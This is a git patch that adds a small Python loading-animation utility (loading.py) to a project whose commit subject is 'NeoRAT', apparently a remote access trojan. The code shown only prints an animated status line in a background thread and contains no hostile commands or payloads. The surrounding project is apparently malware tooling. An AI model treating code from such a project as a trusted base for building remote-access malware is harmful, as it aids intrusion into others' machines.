From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- domestic/utility/loading.py | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) create mode 100644 domestic/utility/loading.py (limited to 'domestic/utility/loading.py') diff --git a/domestic/utility/loading.py b/domestic/utility/loading.py new file mode 100644 index 0000000..39c3198 --- /dev/null +++ b/domestic/utility/loading.py @@ -0,0 +1,31 @@ +import threading +import time +import sys + +from domestic.utility.status_message import * +from domestic.global_state import * + + +def loading(text, blacklist): + if state['settings']['loading-animation']: + start_time = time.time() + + while True: + for i in range(len(text)): + if not state['settings']['dynamic']['is-loading']: + sys.exit(0) + if text[i].lower() in blacklist: + continue + text = text[:i].lower() + text[i:].capitalize() + time_taken = time.time() - start_time + status_message(f'[{time_taken:.1f}] {text}', 'loading', {'end': True}) + time.sleep(0.1) + else: + status_message(text.capitalize(), 'loading', {'end': True}) + +def start_loading(text, blacklist=('.', ' ')): + state['settings']['dynamic']['is-loading'] = True + threading.Thread(target=loading, args=(text, blacklist), daemon=True).start() + +def stop_loading(): + state['settings']['dynamic']['is-loading'] = False \ No newline at end of file -- cgit v1.2.3